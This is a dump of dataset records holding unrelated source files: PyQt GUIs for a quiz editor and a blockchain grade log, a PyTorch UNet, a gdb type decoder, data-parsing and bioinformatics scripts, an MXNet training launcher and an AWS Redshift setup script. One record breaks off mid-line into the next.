label_of_error.move(20, 100)\n \n \n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n break\n \n break\n except:\n None\n break\n \n break\n break\n if False not in list_for_true_fields:\n # Вот тут создать новый словарь и записать вместо старого\n new_theme_dict = {}\n list_for_text_of_question = []\n list_for_text_of_answers = []\n \n for button_1 in list_for_subj_buttons:\n if button_1.isChecked():\n name_of_theme = field_of_theme.toPlainText()\n #бесполезно? \n for quest in list_of_all_quest_field:\n list_for_text_of_question.append(quest.toPlainText())\n \n \n new_test_list = copy.copy(list_for_text_of_question)\n try:\n new_test_list.pop()\n except:\n None\n ### \n list_for_index_radio = []\n \n list_for_doing_final_list = copy.copy(list_of_text_field_answers)\n list_for_index_true_false_radio = copy.copy(list_of_all_radiobtn)\n\n for elem in range(len(list_for_text_of_question)):\n list_for_add = []\n list_for_radio = []\n \n list_for_add.append(list_of_text_field_answers.pop(0).toPlainText())\n list_for_add.append(list_of_text_field_answers.pop(0).toPlainText())\n list_for_add.append(list_of_text_field_answers.pop(0).toPlainText())\n list_for_add.append(list_of_text_field_answers.pop(0).toPlainText())\n \n list_for_text_of_answers.append(list_for_add)\n \n \n list_for_radio.append(list_for_index_true_false_radio.pop(0).isChecked())\n list_for_radio.append(list_for_index_true_false_radio.pop(0).isChecked())\n list_for_radio.append(list_for_index_true_false_radio.pop(0).isChecked())\n list_for_radio.append(list_for_index_true_false_radio.pop(0).isChecked())\n \n list_for_index_radio.append(list_for_radio)\n \n for radio_list in list_for_index_radio:\n for radio in radio_list:\n if radio == True:\n local_index = radio_list.index(radio)\n nonlocal_index = list_for_index_radio.index(radio_list)\n list_for_text_of_answers[nonlocal_index][local_index] += ' '\n dict_quest_answ = {}\n for quest_field in list_of_all_quest_field:\n dict_quest_answ[quest_field.toPlainText()] = list_for_text_of_answers[list_of_all_quest_field.index(quest_field)]\n dict_theme_quests_answ = {}\n dict_theme_quests_answ[field_of_theme.toPlainText().rstrip()] = dict_quest_answ\n new_theme_text = field_of_theme.toPlainText().rstrip()\n list_of_themes = list(ultra_dict[var_for_subj].keys())\n list_of_values_themes = list(ultra_dict[var_for_subj].values())\n # print(list_of_values_themes)\n #print(list_of_themes)\n theme_index_in_global_dict = list_of_themes.index(list_for_field_of_theme[0])\n \n new_final_dict = {}\n for x in range(len(list_of_themes)):\n if x == theme_index_in_global_dict:\n new_final_dict[new_theme_text] = dict_quest_answ\n else:\n new_final_dict[list_of_themes[x]] = list_of_values_themes[x]\n #text_of_subj_before_edit\n ultra_keys = list(ultra_dict.keys())\n ultra_values = list(ultra_dict.values())\n ultra_index = ultra_keys.index(text_of_subj_before_edit)\n #print(ultra_index)\n total_new_dict = {}\n for x in range(len(ultra_keys)):\n if x == ultra_index:\n total_new_dict[field_of_subj.toPlainText().rstrip()] = new_final_dict\n else:\n total_new_dict[ultra_keys[x]] = ultra_values[x]\n \n #ultra_dict[var_for_subj] = new_final_dict\n ultra_dict = total_new_dict\n #print(ultra_dict)\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n modalWindowEdit.close()\n \n #btn_subj_index = 0\n for btn_subj in list_for_subj_buttons:\n if btn_subj.isChecked():\n btn_subj_index = list_for_subj_buttons.index(btn_subj)\n \n self.creator_subj_buttons()\n #list_for_subj_buttons[btn_subj_index].setChecked(True)\n #click_subj_choose_themes_local_for_add_theme()\n self.creator_theme_buttons()\n list_for_subj_buttons[btn_subj_index].click()\n #click_theme_start_edit()\n # Реализует удаление вопроса по пустому имени? \n '''\n for quest in list_of_all_quest_field:\n if bool(quest.toPlainText().strip()) == True:\n if quest.toPlainText().strip() in copy_of_ultra_dict[var_for_subj][var_for_theme]:\n None\n \n else:\n \n break\n elif bool(quest.toPlainText().strip()) == False:\n \n index_for_delete = list_of_all_quest_field.index(quest) \n \n quest_to_delete = list(copy_of_ultra_dict[var_for_subj][var_for_theme].keys())[index_for_delete]\n list_for_quest_to_delete.append(quest_to_delete)\n modalWindowEdit.close()\n \n ''' \n \n \n def deleter_theme():\n \n modalWindowWarning = QtWidgets.QWidget(modalWindowEdit, QtCore.Qt.Window)\n modalWindowWarning.setWindowTitle('Внимание')\n modalWindowWarning.setFixedSize(300, 250)\n modalWindowWarning.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowWarning.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowWarning.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowWarning.move(modalWindowEdit.geometry().center() - modalWindowWarning.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_warning = QtWidgets.QLabel('Вы уверены, что хотите удалить тему?', modalWindowWarning)\n label_of_warning.move(40, 100)\n \n def final_delete():\n copy_of_ultra_dict = copy.deepcopy(ultra_dict)\n \n copy_of_ultra_dict[var_for_subj].pop(var_for_theme)\n \n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(copy_of_ultra_dict, ensure_ascii = False))\n for btn_theme in list_for_theme_buttons:\n \n btn_theme.hide()\n \n \n self.creator_theme_buttons()\n \n self.click_subj_choose_themes_local_for_add_theme()\n modalWindowEdit.close()\n \n \n def cancel_delete():\n modalWindowWarning.close()\n \n btn_delete = QtWidgets.QPushButton('Да', modalWindowWarning)\n btn_delete.move(40, 200)\n btn_delete.clicked.connect(final_delete)\n \n btn_cancel = QtWidgets.QPushButton('Нет', modalWindowWarning)\n btn_cancel.move(150, 200)\n btn_cancel.clicked.connect(cancel_delete)\n modalWindowWarning.show()\n \n \n\n \n add_quest_btn = QtWidgets.QPushButton('Добвить вопрос', modalWindowEdit)\n add_quest_btn.setToolTip('here')\n add_quest_btn.clicked.connect(creator_mod_win_adder_quest)\n add_quest_btn.resize(150, 50)\n add_quest_btn.move(50, 700)\n \n save_all_btn = QtWidgets.QPushButton('Сохранить', modalWindowEdit)\n save_all_btn.clicked.connect(saver_all_mod_win)\n save_all_btn.resize(150, 50)\n save_all_btn.move(400, 700)\n \n \n delete_theme_btn = QtWidgets.QPushButton('Удалить тему', modalWindowEdit)\n delete_theme_btn.clicked.connect(deleter_theme)\n delete_theme_btn.resize(150, 50)\n delete_theme_btn.move(750, 700)\n for btn in list_for_theme_buttons:\n btn.setChecked(False) \n modalWindowEdit.show()\n\n\n\n\n def creator_theme_buttons(self):\n \n #list_for_theme_buttons.clear()\n global dict_for_theme_btn_textofbtn_and_label\n dict_for_theme_btn_textofbtn_and_label = {}\n \n for last_btn in list_for_theme_buttons:\n last_btn.hide()\n list_for_theme_buttons.clear()\n with open('database.json', 'r', encoding=\"utf-8\") as file_db:\n ultra_dict = json.load(file_db)\n \n ultra_mainbox_for_theme = QtWidgets.QWidget(self)\n \n scrollArea_for_theme = QtWidgets.QScrollArea()\n widget_for_theme = QtWidgets.QWidget()\n widget_for_theme.resize(460, 1000)\n #widget_for_theme.setFixedSize(400, 250)\n # widget_for_theme.move(522, 557)\n #btn_test = QtWidgets.QPushButton('Добавить предмет', widget_for_theme)\n #widget_for_theme.show()\n vbox_for_theme = QtWidgets.QVBoxLayout()\n\n for name in ultra_dict.keys():\n #print(name)\n x_coord_for_btn_theme = 150\n #widget_for_theme = QtWidgets.QWidget()\n #widget_for_theme.resize(400, 500)\n for one in ultra_dict[name]:\n \n hbox_for_cycle_theme = QtWidgets.QHBoxLayout()\n \n button_of_theme = QtWidgets.QPushButton(str(one), widget_for_theme)#self\n font_obj_for_btn = QtGui.QFont('Segoe UI', pointSize = 10)\n button_of_theme.setFont(font_obj_for_btn)\n label_of_theme_for_btn = QtWidgets.QLabel(button_of_theme)\n label_of_theme_for_btn.setWordWrap(True)\n hboxlayout = QtWidgets.QHBoxLayout(button_of_theme)\n hboxlayout.addWidget(label_of_theme_for_btn)\n \n button_of_theme.setCheckable(True)\n button_of_theme.clicked.connect(self.click_theme_start_edit)\n # button_of_theme.move(550, x_coord_for_btn_theme)\n button_of_theme.setFixedSize(418, 101)\n button_of_theme.hide()\n \n #hbox_for_cycle_theme.addWidget(button_of_theme)\n #vbox_for_theme.addLayout(hbox_for_cycle_theme)\n vbox_for_theme.addWidget(button_of_theme,stretch = 10, alignment = QtCore.Qt.AlignTop)\n list_for_theme_buttons.append(button_of_theme)\n \n dict_for_theme_btn_textofbtn_and_label[button_of_theme] = [button_of_theme.text(), label_of_theme_for_btn]\n\n x_coord_for_btn_theme += 50 \n #vbox_for_theme.addSpacing(100)\n widget_for_theme.setLayout(vbox_for_theme)\n scrollArea_for_theme.setWidget(widget_for_theme)\n scrollArea_for_theme.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n \n \n mainbox_for_theme = QtWidgets.QVBoxLayout()\n \n #mainbox_for_theme.setFixedSize(400, 400)\n mainbox_for_theme.addWidget(scrollArea_for_theme)#, alignment = QtCore.Qt.AlignTop)\n #mainbox_for_theme.addSpacing(500)\n #self.setLayout(mainbox_for_theme)\n ultra_mainbox_for_theme.setLayout(mainbox_for_theme)\n ultra_mainbox_for_theme.move(509, 146)\n ultra_mainbox_for_theme.setFixedSize(513, 614)\n ultra_mainbox_for_theme.show()\n #mainbox.addSpacing(50)\n #modalWindowEdit.setLayout(mainbox)\n#class mod_win_append_subj(MainCodeClass):\n #print(1)\n # labels(window)\n # buttons(window)\n # creator_subj_buttons()\n # creator_theme_buttons()\n # window.show()\n # sys.exit(app.exec_())\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n smth = MainCodeClass()\n sys.exit(app.exec_())\n#MainCodeClass()\n","sub_path":"red.py","file_name":"red.py","file_ext":"py","file_size_in_byte":88377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"254665972","text":"import torch\n\nclass UNet(torch.nn.Module):\n def __init__(self, CFG):\n super(UNet, self).__init__()\n self.CFG = CFG\n self.is_deconv = True\n self.in_channel = CFG[\"IMAGE_CHANNEL\"]\n self.is_batchnorm = True\n self.feature_scale = CFG[\"FEATURE_SCALE\"]\n\n filters = [64, 128, 256, 512, 1024]\n filters = [int(x / self.feature_scale) for x in filters]\n\n # downsampling\n self.conv1 = UNetConv2(self.in_channel, filters[0], self.is_batchnorm)\n self.maxpool1 = torch.nn.MaxPool2d(kernel_size=2)\n\n self.conv2 = UNetConv2(filters[0], filters[1], self.is_batchnorm)\n self.maxpool2 = torch.nn.MaxPool2d(kernel_size=2)\n\n self.conv3 = UNetConv2(filters[1], filters[2], self.is_batchnorm)\n self.maxpool3 = torch.nn.MaxPool2d(kernel_size=2)\n\n self.conv4 = UNetConv2(filters[2], filters[3], self.is_batchnorm)\n self.maxpool4 = torch.nn.MaxPool2d(kernel_size=2)\n\n self.center = UNetConv2(filters[3], filters[4], self.is_batchnorm)\n\n # upsampling\n self.up_concat4 = UNetUp(filters[4], filters[3])\n self.up_concat3 = UNetUp(filters[3], filters[2])\n self.up_concat2 = UNetUp(filters[2], filters[1])\n self.up_concat1 = UNetUp(filters[1], filters[0])\n\n # final conv (without any concat)\n self.final = torch.nn.Conv2d(filters[0], CFG[\"CLASS_NUMS\"], 1)\n\n def forward(self, x):\n conv1 = self.conv1(x)\n maxpool1 = self.maxpool1(conv1)\n\n conv2 = self.conv2(maxpool1)\n maxpool2 = self.maxpool2(conv2)\n\n conv3 = self.conv3(maxpool2)\n maxpool3 = self.maxpool3(conv3)\n\n conv4 = self.conv4(maxpool3)\n maxpool4 = self.maxpool4(conv4)\n\n center = self.center(maxpool4)\n up4 = self.up_concat4(conv4, center)\n up3 = self.up_concat3(conv3, up4)\n up2 = self.up_concat2(conv2, up3)\n up1 = self.up_concat1(conv1, up2)\n\n final = self.final(up1)\n\n return final\n\nclass UNetConv2(torch.nn.Module):\n def __init__(self, in_size, out_size, is_batchnorm):\n super(UNetConv2, self).__init__()\n\n if is_batchnorm:\n self.conv1 = torch.nn.Sequential(\n torch.nn.Conv2d(in_size, out_size, 3, 1, 1),\n torch.nn.BatchNorm2d(out_size),\n torch.nn.ReLU())\n self.conv2 = torch.nn.Sequential(\n torch.nn.Conv2d(out_size, out_size, 3, 1, 1),\n torch.nn.BatchNorm2d(out_size),\n torch.nn.ReLU())\n else:\n self.conv1 = torch.nn.Sequential(\n torch.nn.Conv2d(in_size, out_size, 3, 1, 1),\n torch.nn.ReLU())\n self.conv2 = torch.nn.Sequential(\n torch.nn.Conv2d(out_size, out_size, 3, 1, 1),\n torch.nn.ReLU())\n def forward(self, inputs):\n outputs = self.conv1(inputs)\n outputs = self.conv2(outputs)\n return outputs\n\nclass UNetUp(torch.nn.Module):\n def __init__(self, in_size, out_size):\n super(UNetUp, self).__init__()\n self.conv = UNetConv2(in_size, out_size, False)\n self.up = torch.nn.ConvTranspose2d(in_size, out_size, kernel_size=2, stride=2)\n\n def forward(self, inputs1, inputs2):\n outputs2 = self.up(inputs2)\n offset = outputs2.size()[2] - inputs1.size()[2]\n padding = 2 * [offset // 2, offset // 2]\n outputs1 = torch.nn.functional.pad(inputs1, padding)\n return self.conv(torch.cat([outputs1, outputs2], 1))","sub_path":"lib/pytorch/unet/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"408809362","text":"# ----------------------------------------------------------------------\n# sdecode - python gdb extention for builiding a poor mans symbol table\n#\n# June 2013, Gopakumar C E\n#\n# Copyright (c) 2013 by Cisco Systems, Inc.\n# All rights reserved.\n#-----------------------------------------------------------------------\n\nimport sys\nimport gdb\nimport traceback\n\ndef container(t):\n if t.code == gdb.TYPE_CODE_TYPEDEF:\n t = t.target()\n return (t.code == gdb.TYPE_CODE_STRUCT or\n t.code == gdb.TYPE_CODE_UNION)\n\ndef basicarray(t):\n if container(t):\n return 0\n if t.code == gdb.TYPE_CODE_TYPEDEF:\n t = t.target()\n if t.code == gdb.TYPE_CODE_ARRAY:\n return t.target().sizeof\n\n return 0\n\ndef srecurse(t,level,anon):\n if t.code == gdb.TYPE_CODE_TYPEDEF:\n t = t.strip_typedefs()\n for f in t.fields():\n if not f.name:\n name = \"ANONYMOUS%d\" % anon\n anon = anon + 1\n else:\n name = f.name\n if container(f.type):\n sys.stdout.write(\"\\t\" * level)\n sys.stdout.write(\"{name => '%s', 'bitpos' => %d, 'sizeof' => %d, 'bitsize' => %d, 'expand' => [\\n\" % (name, f.bitpos, f.type.sizeof, f.bitsize))\n srecurse(f.type,level+1,anon)\n sys.stdout.write(\"\\t\" * level)\n sys.stdout.write(\"]},\\n\")\n else :\n array = basicarray(f.type);\n sys.stdout.write(\"\\t\" * level)\n sys.stdout.write(\"{name => '%s', 'bitpos' => %d, 'sizeof' => %d, \"\n \"'bitsize' => %d, array => %d},\\n\" % \n (name, f.bitpos, f.type.sizeof, f.bitsize, array))\n \ndef sdecode(n):\n hname = \"\".join(n.split())\n sys.stdout.write(\"our @%s = \\n\" % hname) \n try:\n t = gdb.lookup_type(n)\n if not t.tag:\n name = \"NONE\"\n else:\n name = t.tag\n if container(t):\n sys.stdout.write(\"({'name' => '%s', 'bitpos' => 0, 'sizeof' => %d, 'bitsize' => 0, 'expand' => [\\n\" % (name, t.sizeof))\n srecurse(t,1,1)\n sys.stdout.write(\"]}); \")\n else:\n array = basicarray(t);\n sys.stdout.write(\"({'name' => '%s', 'bitpos' => 0, 'sizeof' => %d, \"\n \"'bitsize' => 0, 'array' => %d});\\n\" % \n (name, t.sizeof, array))\n except:\n msg = traceback.format_exc() \n sys.stdout.write(\"<0):\n msg=self.rtxtStudentID.text()+\" has \"+str(c)+\" credit hours\"\n else:\n msg=\"No credit hours found for \"+self.rtxtStudentID.text()\n self.msg_box(msg)\n \n\n def get_class_average(self):\n av=0\n div=0\n for b in range(bc.get_length()):\n block = bc.get_block(b)\n if (block.class_id == self.rtxtClassID.text()):\n av=av+block.grade\n div=div+1\n if (div>0):\n msg=self.rtxtClassID.text()+\" has a class average of \"+str(int(av/div))\n else:\n msg=\"No grades found for class with ID \"+self.rtxtClassID.text()\n self.msg_box(msg)\n\n def get_gpa(self):\n av=0\n div=0\n for b in range(bc.get_length()):\n block = bc.get_block(b)\n if (block.student_id == self.rtxtStudentID.text()):\n av=av+block.grade\n div=div+1\n if (div>0):\n g=self.gpa(int(av/div))\n msg=self.rtxtStudentID.text()+\" has a GPA of \"+str(g)\n else:\n msg=\"No grade records found for student with ID \"+self.rtxtStudentID.text()\n self.msg_box(msg)\n\n\n def clearFields(self):\n self.stxtStudentID.clear()\n self.stxtStudentName.clear()\n self.stxtClassID.clear()\n self.stxtClassName.clear()\n self.stxtGrade.clear()\n self.stxtAbsences.clear()\n self.stxtCredits.clear()\n\n def updateInfo(self):\n self.bcViewer.clear()\n self.bcViewer.append(str(bc))\n\n def add_block(self): \n prevBlock = bc.get_block(0)\n height = prevBlock.height+1\n timestamp = int(time.time())\n prevHash = prevBlock.currHash\n data = \"tmp data\"\n #nonce\n difficulty = prevBlock.difficulty\n # Data from QLineEdits\n student_id = self.stxtStudentID.text()\n student_name = self.stxtStudentName.text()\n class_id = self.stxtClassID.text()\n class_name = self.stxtClassName.text()\n grade = int(self.stxtGrade.text())\n absences = int(self.stxtAbsences.text())\n credits = int(self.stxtCredits.text())\n block = Block(timestamp,prevHash,\"lol\",difficulty,student_id,student_name,class_id,class_name,grade,absences,credits)\n bc.add_block(block)\n print(\"Block added to chain\")\n #print(bc)\n self.updateInfo()\n self.clearFields()\n\n def msg_box(self, message):\n m = QMessageBox()\n m.setText(message)\n m.exec_()\n \n\nif __name__ == '__main__':\n\n bc = Blockchain()\n b = Block(0,0,\"main\",4,\"smithe4\",\"Ethan Smith\",\"COMP3800\",\"Blockchain\",75,3,4)\n bc.add_block(b)\n b = Block(0,0,\"main\",4,\"khawajas1\",\"Shaheer Khawaja\",\"COMP3800\",\"Blockchain\",88,1,4)\n bc.add_block(b)\n b = Block(0,0,\"main\",4,\"neupanep\",\"Prabha Neupane\",\"COMP3800\",\"Blockchain\",92,2,4)\n bc.add_block(b)\n b = Block(0,0,\"main\",4,\"smithe4\",\"Ethan Smith\",\"COMP3700\",\"Computer Science 1\",99,8,4)\n bc.add_block(b)\n b = Block(0,0,\"main\",4,\"smithe4\",\"Ethan Smith\",\"COMP3900\",\"Computer Science 2\",60,1,4)\n bc.add_block(b)\n\n\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n app = QApplication(sys.argv)\n window = MainWindow()\n sys.exit(app.exec_())\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":10716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412491073","text":"import requests\nimport json\n\nrecipesJson = {}\ncitiesJson = {}\nplantsJson = {}\n\n\n\ndef calories():\n # 5143 max\n cMatrix = [0] * 21\n for entry in recipesJson:\n calories = round(entry[\"calories\"])\n cMatrix[calories // 250] += 1\n return cMatrix\n\n\n\ndef plantsByCityTemp():\n # say 120 max for guaranteed entries\n # they store min/max so we are taking the average temp\n min = 100\n max = 0\n cMatrix = [0] * 20\n for entry in citiesJson:\n temp = round((entry[\"max_temp\"] + entry[\"min_temp\"]) / 2)\n if temp > max:\n max = temp\n if temp < min:\n min = temp\n id = entry[\"id\"]\n plantJson = requests.get(\"https://homefarmer.me/api/Cities/Plants/\"+id).json()\n plantJson = plantJson[\"plants\"]\n cMatrix[temp // 5] += len(plantJson)\n print(min)\n print(max)\n return cMatrix\n\n\n\ndef recipesPerPlantFamily():\n pMatrix = {}\n for entry in plantsJson:\n family = entry[\"family\"]\n id = entry[\"id\"]\n recipeJson = requests.get(\"https://homefarmer.me/api/Plants/Recipes/\"+id).json()\n recipeJson = recipeJson[\"recipes\"]\n key = len(recipeJson)\n try:\n pMatrix[family] += key\n except KeyError as error:\n pMatrix[family] = key\n return pMatrix\n\n\n\nif __name__ == \"__main__\":\n\n # Get calorie information\n \"\"\"\n recipesJson = requests.get(\"https://homefarmer.me/api/Recipes\").json()\n recipesJson = recipesJson[\"recipes\"]\n caloriesMatrix = calories()\n print(caloriesMatrix)\n \"\"\"\n\n\n # Get plants per city temp\n \"\"\"\n citiesJson = requests.get(\"https://homefarmer.me/api/Cities\").json()\n citiesJson = citiesJson[\"cities\"]\n citiesMatrix = plantsByCityTemp()\n print(citiesMatrix)\n \"\"\"\n\n\n # Get total recipes per plant family\n # \"\"\"\n plantsJson = requests.get(\"https://homefarmer.me/api/Plants\").json()\n plantsJson = plantsJson[\"plants\"]\n plantsMatrix = recipesPerPlantFamily()\n print(plantsMatrix)\n # \"\"\"\n","sub_path":"backend/parseHomeFarmer.py","file_name":"parseHomeFarmer.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"467149420","text":"import numpy as np\nfrom typing import List,Tuple,Union,Any\nimport random\nimport math\nfrom cv2 import cv2\nfrom .transform import Transform\n\nclass Interpolate(Transform):\n def __init__(self, max_dim:int=640):\n super(Interpolate,self).__init__()\n self.max_dim = max_dim\n\n def __call__(self, img:np.ndarray,\n gt_boxes:np.ndarray=None) -> Union[Tuple[np.ndarray, np.ndarray], np.ndarray]:\n h,w = img.shape[:2]\n\n sf = self.max_dim / max(h,w)\n\n nh = int(sf*h)\n nw = int(sf*w)\n\n if self.tracking: self.register_op({'scale_factor':sf})\n\n nimg = cv2.resize(img, (nw,nh), cv2.INTER_AREA)\n\n if isinstance(gt_boxes, type(None)): return nimg\n\n ngt_boxes_boxes = gt_boxes * sf\n return nimg,ngt_boxes_boxes\n\n def adjust(self, pred_boxes:np.ndarray, scale_factor:float=1.) -> np.ndarray:\n pred_boxes[:, :4] = pred_boxes[:, :4] / scale_factor\n return pred_boxes","sub_path":"fastface/transform/interpolate.py","file_name":"interpolate.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"123841708","text":"##################################\n# #\n# Last modified 03/09/2015 # \n# #\n# Georgi Marinov #\n# # \n##################################\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport random\nimport pysam\nimport string\n\ndef main():\n\n if len(sys.argv) < 2:\n print('usage: python %s BAM' % sys.argv[0])\n print('Only run this script for files containing uniquely aligned reads; the script will not check for alignment multiplicity!')\n sys.exit(1)\n\n BAM = sys.argv[1]\n\n samfile = pysam.Samfile(BAM, \"rb\" )\n\n outfile1 = pysam.Samfile(BAM.split('.bam')[0] + '.pseudoRep1.bam', \"wb\", template=samfile)\n outfile2 = pysam.Samfile(BAM.split('.bam')[0] + '.pseudoRep2.bam', \"wb\", template=samfile)\n\n for alignedread in samfile.fetch():\n chr = samfile.getrname(alignedread.tid)\n if chr == '*':\n continue\n if random.random() >= 0.5:\n outfile1.write(alignedread)\n else:\n outfile2.write(alignedread)\n\n outfile1.close()\n outfile2.close()\n\nif __name__ == '__main__':\n main()\n","sub_path":"BAMPseudoReps.py","file_name":"BAMPseudoReps.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"262392798","text":"class Pet(object):\n def __init__(self, name=\"\"):\n self.name = name\n self.kind = \"kind\"\n self.toys = []\n\n def add_toy(self, toy):\n if toy not in self.toys:\n self.toys.append(toy)\n #print (\", \".join(self.toys))\n\n def __str__(self):\n if len(self.toys) > 0:\n toy_string = \"\"\n for toy in self.toys:\n toy_string += toy\n return \"{} är en {} som har följande leksaker: {}.\".format(\n self.name, self.kind, self.toys\n )\n else:\n return \"{} är en {} som inte har några leksaker.\".format(\n self.name, self.kind, self.toys\n )\n#Ta bort alla kommatecken och klamrar\n\npet1 = Pet(\"Olle\")\npet1.kind = \"Beagle\"\npet2 = Pet(\"Fido\")\npet2.kind = \"Mops\"\npet2.add_toy(\"nalle\")\npet3 = Pet(\"Elvis\")\npet3.kind = \"Tax\"\npet3.add_toy(\"bollar\")\npet3.add_toy(\"nalle\")\n\npets_in_list = [pet1, pet2, pet3]\n\nfor pet in pets_in_list:\n print(pet)\n","sub_path":"lab5/klasser.py","file_name":"klasser.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"81330398","text":"from __future__ import print_function\n\nimport os\nimport shutil\nimport argparse\nfrom common import fit, data\nfrom importlib import import_module\n\nif __name__ == '__main__':\n # location of data\n train_val_fname = '/data/hqu/ntuples/20170717/pfcands_minor_labels/train_file_*.h5'\n test_fname = '/data/hqu/ntuples/20170717/pfcands_minor_labels/testing/train_file_*.h5'\n example_fname = '/data/hqu/ntuples/20170717/pfcands_minor_labels/train_file_0.h5'\n\n # parse args\n parser = argparse.ArgumentParser(description=\"train pfcands\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n fit.add_fit_args(parser)\n data.add_data_args(parser)\n parser.set_defaults(\n # network\n network='resnet_simple',\n # config\n model_prefix='/data/hqu/training/mxnet/models/pfcands_minor_labels-20170717/resnet-simple/resnet',\n disp_batches=500,\n # data\n data_config='data_pfcands',\n data_train=train_val_fname,\n train_val_split=0.8,\n data_test=test_fname,\n data_example=example_fname,\n data_names=None,\n label_names='softmax_label',\n weight_names='weight,class_weight',\n num_examples=-1,\n # train\n batch_size=1024,\n num_epochs=200,\n optimizer='adam',\n lr=1e-3,\n top_k=2,\n lr_step_epochs='10,20,30,50',\n )\n args = parser.parse_args()\n # load data config\n dd = import_module('data.' + args.data_config)\n args.data_names = ','.join(dd.train_groups)\n\n if args.dryrun:\n print('--DRY RUN--')\n# args.weight_names = ''\n args.data_train = example_fname\n args.train_val_split = 0.5\n# args.num_examples = dd.nb_wgt_samples([example_fname], args.weight_names)[0]\n\n if args.load_epoch:\n print('-' * 50)\n\n# n_train, n_val, n_test = dd.nb_wgt_samples([args.data_train, args.data_val, args.data_test], args.weight_names)\n n_train_val, n_test = dd.nb_samples([args.data_train, args.data_test])\n n_train = int(n_train_val * args.train_val_split)\n n_val = int(n_train_val * (1 - args.train_val_split))\n print(' --- Training sample size = %d, Validation sample size = %d, Test sample size = %d ---' % (n_train, n_val, n_test))\n if args.num_examples < 0:\n args.num_examples = n_train\n\n if args.predict:\n # load network\n sym = import_module('symbols.' + args.network)\n\n fit.predict(args, sym, dd.load_data)\n else:\n # load network\n sym = import_module('symbols.' + args.network)\n\n save_dir = os.path.dirname(args.model_prefix)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n shutil.copy('symbols/%s.py' % args.network, save_dir)\n\n # train\n fit.fit(args, sym, dd.load_data)\n\n","sub_path":"training/train_pfcands_simple.py","file_name":"train_pfcands_simple.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255860442","text":"\"\"\"\n This module provides all methods to interact with AWS Account.\n It contains the cluster and session creation methods, iam roles, vpc, ec2, s3 and redshift.\n Note: Based on the research that was done. See in the acknowledgements the sources.\n\"\"\"\n\nimport boto3\nimport time\nimport json\nimport configparser\nfrom botocore.exceptions import ClientError\n\n# Define config_file\nconfig_file = 'dwh.cfg'\n\n# Reading cfg file\nconfig = configparser.ConfigParser()\nconfig.read(config_file)\n\n# Setting up Access Key and Secret Key\nAWS_ACCESS_KEY_ID = config.get('AWS','AWS_ACCESS_KEY_ID')\nAWS_SECRET_ACCESS_KEY = config.get('AWS','AWS_SECRET_ACCESS_KEY')\nREGION_NAME = config.get('AWS','REGION_NAME')\n\n# Define policy to be attached to IAM role\nS3_ARN_POLICY = config.get('SECURITY','S3_ARN_POLICY')\n\n# Define AWS Services\nredshift_client = boto3.client('redshift', \n region_name=REGION_NAME, \n aws_access_key_id=AWS_ACCESS_KEY_ID, \n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\niam_client = boto3.client('iam', \n aws_access_key_id=AWS_ACCESS_KEY_ID, \n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\ns3 = boto3.resource('s3',\n region_name=REGION_NAME, \n aws_access_key_id=AWS_ACCESS_KEY_ID, \n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\nec2_client = boto3.client('ec2', \n region_name=REGION_NAME, \n aws_access_key_id=AWS_ACCESS_KEY_ID, \n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\n\ndef update_config_file(config_file, section, key, value):\n \"\"\"\n - This function: Writes to an existing config file\n \n Args:\n config_file (ConfigParser object): Configuration file the user wants to update\n section (string): The section on the config file the user wants to write\n key (string): The key the user wants to write\n value (string): The value the user wants to write\n \n Returns: \n None\n \"\"\"\n\n try:\n # Reading cfg file\n config = configparser.ConfigParser()\n config.read(config_file)\n\n #Setting Section, Key and Value to be write on the cfg file\n config.set(section, key, value)\n\n # Writting to cfg file\n with open(config_file, 'w') as f:\n config.write(f)\n \n except ClientError as e:\n print(f'ERROR: {e}')\n\n\ndef create_iam_role(config, arn_policy):\n \"\"\"\n - This function: Creates IAM Role on AWS\n \n Args:\n config (ConfigParser object): Configuration File to define Resource configuration\n arn_policy (string): ARN Policy you want to attach to the IAM Role\n \n Returns:\n dictionary: IAM Role Information\n \"\"\"\n \n try:\n response = iam_client.get_role(RoleName=config.get('SECURITY', 'ROLE_NAME'))\n print('IAM Role already exists: ' + response['Role']['Arn'])\n return response\n except:\n response = None\n\n if response is None:\n try:\n role = iam_client.create_role(\n RoleName = config.get('SECURITY', 'ROLE_NAME'),\n Description = 'Allows Redshift to call AWS services on your behalf',\n AssumeRolePolicyDocument = json.dumps({\n 'Version': 